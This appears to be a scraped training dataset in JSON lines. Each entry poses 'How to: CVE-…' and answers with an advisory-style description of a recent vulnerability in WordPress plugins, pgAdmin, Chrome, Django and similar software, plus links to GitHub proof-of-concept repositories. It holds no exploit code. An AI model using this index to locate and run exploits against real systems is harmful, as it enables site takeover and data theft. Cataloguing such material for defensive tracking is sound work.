{"id": "gh_e5ed1ca05d34", "question": "How to: CVE-2025-12674 (2025-11-05)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe KiotViet Sync plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the create_media() function in all versions up to, and including, 1.8.5. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.\n```\n- [Nxploited/CVE-2025-12674](https://github.com/Nxploited/CVE-2025-12674)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154114"}
{"id": "gh_b1b509085b50", "question": "How to: CVE-2025-12735 (2025-11-05)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe expr-eval library is a JavaScript expression parser and evaluator designed to safely evaluate mathematical expressions with user-defined variables. However, due to insufficient input validation, an attacker can pass a crafted context object or use MEMBER of the context object into the evaluate() function and trigger arbitrary code execution.\n```\n- [alnashawatirohwederb2167-max/cve-2025-12735-expr-eval-rce](https://github.com/alnashawatirohwederb2167-max/cve-2025-12735-expr-eval-rce)\n- [AN5I/cve-2025-12735-expr-eval-rce](https://github.com/AN5I/cve-2025-12735-expr-eval-rce)\n- [alecasg555/safe-expr-eval](https://github.com/alecasg555/safe-expr-eval)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154122"}
{"id": "gh_a5e936d43a69", "question": "How to: CVE-2025-12744 (2025-12-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA flaw was found in the ABRT daemon’s handling of user-supplied mount information.ABRT copies up to 12 characters from an untrusted input and places them directly into a shell command (docker inspect %s) without proper validation. An unprivileged local user can craft a payload that injects shell metacharacters, causing the root-running ABRT process to execute attacker-controlled commands and ultimately gain full root privileges.\n```\n- [initstring/abrt_root](https://github.com/initstring/abrt_root)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154127"}
{"id": "gh_d92ab8718125", "question": "How to: CVE-2025-12758 (2025-11-27)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nVersions of the package validator before 13.15.22 are vulnerable to Incomplete Filtering of One or More Instances of Special Elements in the isLength() function that does not take into account Unicode variation selectors (\\uFE0F, \\uFE0E) appearing in a sequence which lead to improper string length calculation. This can lead to an application using isLength for input validation accepting strings significantly longer than intended, resulting in issues like data truncation in databases, buffer overflows in other system components, or denial-of-service.\n```\n- [dajneem23/CVE-2025-12758](https://github.com/dajneem23/CVE-2025-12758)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154132"}
{"id": "gh_b2f081bf7fe2", "question": "How to: CVE-2025-12762 (2025-11-13)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\npgAdmin versions up to 9.9 are affected by a Remote Code Execution (RCE) vulnerability that occurs when running in server mode and performing restores from PLAIN-format dump files. This issue allows attackers to inject and execute arbitrary commands on the server hosting pgAdmin, posing a critical risk to the integrity and security of the database management system and underlying data.\n```\n- [Ashwesker/Ashwesker-CVE-2025-12762](https://github.com/Ashwesker/Ashwesker-CVE-2025-12762)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154137"}
{"id": "gh_6ed357065d2b", "question": "How to: CVE-2025-12904 (2025-11-14)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe SNORDIAN's H5PxAPIkatchu plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'insert_data' AJAX endpoint in all versions up to, and including, 0.4.17 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n```\n- [MooseLoveti/SNORDIAN-s-H5PxAPIkatchu-CVE-Report](https://github.com/MooseLoveti/SNORDIAN-s-H5PxAPIkatchu-CVE-Report)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154141"}
{"id": "gh_d34ea09e3d11", "question": "How to: CVE-2025-13159 (2025-11-21)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Flo Forms – Easy Drag & Drop Form Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG file uploads in all versions up to, and including, 1.0.43. This is due to the plugin allowing SVG file uploads via an unauthenticated AJAX endpoint (`flo_form_submit`) without proper file content validation. This makes it possible for unauthenticated attackers to upload malicious SVG files containing JavaScript that executes when an administrator views the uploaded file in the WordPress admin interface, leading to potential full site compromise.\n```\n- [MooseLoveti/Flo-Forms-CVE-Report](https://github.com/MooseLoveti/Flo-Forms-CVE-Report)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154160"}
{"id": "gh_6fbe74da6d80", "question": "How to: CVE-2025-13315 (2025-11-19)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nTwonky Server 8.5.2 on Linux and Windows is vulnerable to an access control flaw. An unauthenticated attacker can bypass web service API authentication controls to leak a log file and read the administrator's username and encrypted password.\n```\n- [Ashwesker/Ashwesker-CVE-2025-13315](https://github.com/Ashwesker/Ashwesker-CVE-2025-13315)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154164"}
{"id": "gh_11247e3bae39", "question": "How to: CVE-2025-13339 (2025-12-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Hippoo Mobile App for WooCommerce plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.7.1 via the template_redirect() function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.\n```\n- [MooseLoveti/Hippoo-Mobile-App-For-WooCommerce-CVE-Report](https://github.com/MooseLoveti/Hippoo-Mobile-App-For-WooCommerce-CVE-Report)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154169"}
{"id": "gh_a3d5623ce3fa", "question": "How to: CVE-2025-13342 (2025-12-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Frontend Admin by DynamiApps plugin for WordPress is vulnerable to unauthorized modification of arbitrary WordPress options in all versions up to, and including, 3.28.20. This is due to insufficient capability checks and input validation in the ActionOptions::run() save handler. This makes it possible for unauthenticated attackers to modify critical WordPress options such as users_can_register, default_role, and admin_email via submitting crafted form data to public frontend forms.\n```\n- [Altelus1/CVE-2025-13342](https://github.com/Altelus1/CVE-2025-13342)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154173"}
{"id": "gh_b55fa47b06d8", "question": "How to: CVE-2025-13372 (2025-12-02)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn issue was discovered in 5.2 before 5.2.9, 5.1 before 5.1.15, and 4.2 before 4.2.27.\\n`FilteredRelation` is subject to SQL injection in column aliases, using a suitably crafted dictionary, with dictionary expansion, as the `**kwargs` passed to `QuerySet.annotate()` or `QuerySet.alias()` on PostgreSQL.\\nEarlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.\\nDjango would like to thank Stackered for reporting this issue.\n```\n- [Ashwesker/Ashwesker-CVE-2025-13372](https://github.com/Ashwesker/Ashwesker-CVE-2025-13372)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154178"}
{"id": "gh_b44572b634b8", "question": "How to: CVE-2025-13380 (2025-11-25)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe AI Engine for WordPress: ChatGPT, GPT Content Generator plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 1.0.1. This is due to insufficient validation of user-supplied file paths in the 'lqdai_update_post' AJAX endpoint and the use of file_get_contents() with user-controlled URLs without protocol restrictions in the insert_image() function. This makes it possible for authenticated attackers, with Contributor-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.\n```\n- [d0n601/CVE-2025-13380](https://github.com/d0n601/CVE-2025-13380)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154183"}
{"id": "gh_18ab31e3e864", "question": "How to: CVE-2025-13390 (2025-12-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe WP Directory Kit plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 1.4.4 due to incorrect implementation of the authentication algorithm in the \"wdk_generate_auto_login_link\" function. This is due to the feature using a cryptographically weak token generation mechanism. This makes it possible for unauthenticated attackers to gain administrative access and achieve full site takeover via the auto-login endpoint with a predictable token.\n```\n- [d0n601/CVE-2025-13390](https://github.com/d0n601/CVE-2025-13390)\n- [Nxploited/CVE-2025-13390](https://github.com/Nxploited/CVE-2025-13390)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154188"}
{"id": "gh_4acfbb6effa2", "question": "How to: CVE-2025-13401 (2025-12-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Autoptimize plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the LCP Image to preload metabox in all versions up to, and including, 3.1.13 due to insufficient input sanitization and output escaping on user-supplied image attributes in the \"create_img_preload_tag\" function. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n```\n- [ciscocamelo/CVE-2025-13401-XSS-Stored](https://github.com/ciscocamelo/CVE-2025-13401-XSS-Stored)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154193"}
{"id": "gh_b339c93b9d3e", "question": "How to: CVE-2025-13425 (2025-11-20)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA bug in the filesystem traversal fallback path causes fs/diriterate/diriterate.go:Next() to overindex an empty slice when ReadDir returns nil for an empty directory, resulting in a panic (index out of range) and an application crash (denial of service) in OSV-SCALIBR.\n```\n- [0xXA/google-poc](https://github.com/0xXA/google-poc)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154198"}
{"id": "gh_f9d510ebb1e6", "question": "How to: CVE-2025-13486 (2025-12-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Advanced Custom Fields: Extended plugin for WordPress is vulnerable to Remote Code Execution in versions 0.9.0.5 through 0.9.1.1 via the prepare_form() function. This is due to the function accepting user input and then passing that through call_user_func_array(). This makes it possible for unauthenticated attackers to execute arbitrary code on the server, which can be leveraged to inject backdoors or create new administrative user accounts.\n```\n- [0xnemian/CVE-2025-13486.-CVE-2025-13486](https://github.com/0xnemian/CVE-2025-13486.-CVE-2025-13486)\n- [0xanis/CVE-2025-13486-POC](https://github.com/0xanis/CVE-2025-13486-POC)\n- [KrE80r/cve-2025-13486-vuln-setup](https://github.com/KrE80r/cve-2025-13486-vuln-setup)\n- [MataKucing-OFC/CVE-2025-13486](https://github.com/MataKucing-OFC/CVE-2025-13486)\n- [0xgh057r3c0n/CVE-2025-13486](https://github.com/0xgh057r3c0n/CVE-2025-13486)\n- [whattheslime/CVE-2025-13486-exploit](https://github.com/whattheslime/CVE-2025-13486-exploit)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154203"}
{"id": "gh_61a7a457a93f", "question": "How to: CVE-2025-13595 (2025-11-25)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe CIBELES AI plugin for WordPress is vulnerable to arbitrary file uploads due to missing capability check in the 'actualizador_git.php' file in all versions up to, and including, 1.10.8. This makes it possible for unauthenticated attackers to download arbitrary GitHub repositories and overwrite plugin files on the affected site's server which may make remote code execution possible.\n```\n- [d0n601/CVE-2025-13595](https://github.com/d0n601/CVE-2025-13595)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154213"}
{"id": "gh_98804f082825", "question": "How to: CVE-2025-13597 (2025-11-25)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe AI Feeds plugin for WordPress is vulnerable to arbitrary file uploads due to missing capability check in the 'actualizador_git.php' file in all versions up to, and including, 1.0.11. This makes it possible for unauthenticated attackers to download arbitrary GitHub repositories and overwrite plugin files on the affected site's server which may make remote code execution possible.\n```\n- [d0n601/CVE-2025-13597](https://github.com/d0n601/CVE-2025-13597)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154217"}
{"id": "gh_b778d0b39846", "question": "How to: CVE-2025-13780 (2025-12-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\npgAdmin versions up to 9.10 are affected by a Remote Code Execution (RCE) vulnerability that occurs when running in server mode and performing restores from PLAIN-format dump files. This issue allows attackers to inject and execute arbitrary commands on the server hosting pgAdmin, posing a critical risk to the integrity and security of the database management system and underlying data.\n```\n- [zeropwn/pgadmin4-9.10-CVE-2025-13780](https://github.com/zeropwn/pgadmin4-9.10-CVE-2025-13780)\n- [meenakshisl/PoC-CVE-2025-13780](https://github.com/meenakshisl/PoC-CVE-2025-13780)\n- [Ashwesker/Ashwesker-CVE-2025-13780](https://github.com/Ashwesker/Ashwesker-CVE-2025-13780)\n- [ThemeHackers/CVE-2025-13780](https://github.com/ThemeHackers/CVE-2025-13780)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154222"}
{"id": "gh_6d3342d6ef46", "question": "How to: CVE-2025-13796 (2025-11-30)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA security vulnerability has been detected in deco-cx apps up to 0.120.1. Affected by this vulnerability is the function AnalyticsScript of the file website/loaders/analyticsScript.ts of the component Parameter Handler. Such manipulation of the argument url leads to server-side request forgery. The attack can be executed remotely. The exploit has been disclosed publicly and may be used. Upgrading to version 0.120.2 addresses this issue. It is suggested to upgrade the affected component.\n```\n- [0xcucumbersalad/CVE-2025-13796-PoC](https://github.com/0xcucumbersalad/CVE-2025-13796-PoC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154227"}
{"id": "gh_a39aa1003ff4", "question": "How to: CVE-2025-14124 (2026-01-05)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Team  WordPress plugin before 5.0.11 does not properly sanitize and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.\n```\n- [hyunchiya/CVE-2025-14124](https://github.com/hyunchiya/CVE-2025-14124)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154234"}
{"id": "gh_270d068945bc", "question": "How to: CVE-2025-14156 (2025-12-15)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Fox LMS – WordPress LMS Plugin plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 1.0.5.1. This is due to the plugin not properly validating the 'role' parameter when creating new users via the `/fox-lms/v1/payments/create-order` REST API endpoint. This makes it possible for unauthenticated attackers to create new user accounts with arbitrary roles, including administrator, leading to complete site compromise.\n```\n- [Nxploited/CVE-2025-14156](https://github.com/Nxploited/CVE-2025-14156)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154239"}
{"id": "gh_13beab36658e", "question": "How to: CVE-2025-14174 (2025-12-12)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nOut of bounds memory access in ANGLE in Google Chrome on Mac prior to 143.0.7499.110 allowed a remote attacker to perform out of bounds memory access via a crafted HTML page. (Chromium security severity: High)\n```\n- [Satirush/CVE-2025-14174-Poc](https://github.com/Satirush/CVE-2025-14174-Poc)\n- [houseofint3/CVE-2025-14174-analysis](https://github.com/houseofint3/CVE-2025-14174-analysis)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154248"}
{"id": "gh_e8d8ccd2c107", "question": "How to: CVE-2025-14175 (2025-12-29)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA vulnerability in the SSH server of TP-Link TL-WR820N v2.80 allows the use of a weak cryptographic algorithm, enabling an adjacent attacker to intercept and decrypt SSH traffic. Exploitation may expose sensitive information and compromise confidentiality.\n```\n- [CyberVinner/TP-Link-TL-WR820N-CVE-2025-14175](https://github.com/CyberVinner/TP-Link-TL-WR820N-CVE-2025-14175)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154253"}
{"id": "gh_0f41dd989bd5", "question": "How to: CVE-2025-14221 (2025-12-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA vulnerability was detected in SourceCodester Online Banking System 1.0. This impacts an unknown function of the file /?page=user. The manipulation of the argument First Name/Last Name results in cross site scripting. The attack can be launched remotely. The exploit is now public and may be used.\n```\n- [fatmatrabelsi17/CVE-2025-14221](https://github.com/fatmatrabelsi17/CVE-2025-14221)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154257"}
{"id": "gh_0fd5dc43d70a", "question": "How to: CVE-2025-14269", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [r0binak/CVE-2025-14269](https://github.com/r0binak/CVE-2025-14269)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154261"}
{"id": "gh_60b8b36187a7", "question": "How to: CVE-2025-14440 (2025-12-13)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe JAY Login & Register plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 2.4.01. This is due to incorrect authentication checking in the 'jay_login_register_process_switch_back' function with the 'jay_login_register_process_switch_back' cookie value. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the user id.\n```\n- [Nxploited/CVE-2025-14440](https://github.com/Nxploited/CVE-2025-14440)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154266"}
{"id": "gh_b2aa593e2e3f", "question": "How to: CVE-2025-14502 (2026-01-14)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe News and Blog Designer Bundle plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.1 via the template parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included.\n```\n- [Kai-One001/WordPress-News-and-Blog-Designer-Bundle-CVE-2025-14502](https://github.com/Kai-One001/WordPress-News-and-Blog-Designer-Bundle-CVE-2025-14502)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154271"}
{"id": "gh_0e548d39f711", "question": "How to: CVE-2025-14558", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [JohannesLks/CVE-2025-14558](https://github.com/JohannesLks/CVE-2025-14558)\n- [Ashwesker/Ashwesker-CVE-2025-14558](https://github.com/Ashwesker/Ashwesker-CVE-2025-14558)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154276"}
{"id": "gh_afccd361171f", "question": "How to: CVE-2025-14598 (2026-01-09)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nBeeS Software Solutions BET Portal contains an SQL injection vulnerability in the login functionality of affected sites. The vulnerability enables arbitrary SQL commands to be executed on the backend database.\n```\n- [Afnaan-Ahmed/CVE-2025-14598](https://github.com/Afnaan-Ahmed/CVE-2025-14598)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154280"}
{"id": "gh_2519a5434a2a", "question": "How to: CVE-2025-14611 (2025-12-12)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nGladinet CentreStack and Triofox prior to version 16.12.10420.56791 used hardcoded values for their implementation of the AES cryptoscheme. This degrades security for public exposed endpoints that may make use of it and may offer arbitrary local file inclusion when provided a specially crafted request without authentication. This opens the door for future exploitation and can be leveraged with previous vulnerabilities to gain a full system compromise.\n```\n- [pl4tyz/CVE-2025-14611-CentreStack-and-Triofox-full-Poc-Exploit](https://github.com/pl4tyz/CVE-2025-14611-CentreStack-and-Triofox-full-Poc-Exploit)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154285"}
{"id": "gh_d0b051705c20", "question": "How to: CVE-2025-14700 (2025-12-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn input neutralization vulnerability in the Webhook Template component of Crafty Controller allows a remote, authenticated attacker to perform remote code execution via Server Side Template Injection.\n```\n- [Nosiume/CVE-2025-14700-poc](https://github.com/Nosiume/CVE-2025-14700-poc)\n- [secdongle/POC_CVE-2025-14700](https://github.com/secdongle/POC_CVE-2025-14700)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154289"}
{"id": "gh_2dc1914b405b", "question": "How to: CVE-2025-14733 (2025-12-19)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn Out-of-bounds Write vulnerability in WatchGuard Fireware OS may allow a remote unauthenticated attacker to execute arbitrary code. This vulnerability affects both the Mobile User VPN with IKEv2 and the Branch Office VPN using IKEv2 when configured with a dynamic gateway peer.This vulnerability affects Fireware OS 11.10.2 up to and including 11.12.4_Update1, 12.0 up to and including 12.11.5 and 2025.1 up to and including 2025.1.3.\n```\n- [Ashwesker/Ashwesker-CVE-2025-14733](https://github.com/Ashwesker/Ashwesker-CVE-2025-14733)\n- [machevalia/CVE-2025-14733](https://github.com/machevalia/CVE-2025-14733)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154296"}
{"id": "gh_2cc44e18845e", "question": "How to: CVE-2025-14736 (2026-01-09)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Frontend Admin by DynamiApps plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 3.28.25. This is due to insufficient validation of user-supplied role values in the 'validate_value', 'pre_update_value', and 'get_fields_display' functions. This makes it possible for unauthenticated attackers to register as administrators and gain complete control of the site, granted they can access a user registration form containing a Role field.\n```\n- [hyunchiya/CVE-2025-14736](https://github.com/hyunchiya/CVE-2025-14736)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154301"}
{"id": "gh_e8a01de3510a", "question": "How to: CVE-2025-14765 (2025-12-16)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUse after free in WebGPU in Google Chrome prior to 143.0.7499.147 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)\n```\n- [InfoSecAntara/CVE-2025-14765-and-CVE-2025-14766](https://github.com/InfoSecAntara/CVE-2025-14765-and-CVE-2025-14766)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154306"}
{"id": "gh_ea463c9f0837", "question": "How to: CVE-2025-14783 (2025-12-31)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Easy Digital Downloads plugin for WordPress is vulnerable to Unvalidated Redirect in all versions up to, and including, 3.6.2. This is due to insufficient validation on the redirect url supplied via the 'edd_redirect' parameter. This makes it possible for unauthenticated attackers to redirect users with the password reset email to potentially malicious sites if they can successfully trick them into performing an action.\n```\n- [ZeroEthical/CVE-2025-14783-POC](https://github.com/ZeroEthical/CVE-2025-14783-POC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154310"}
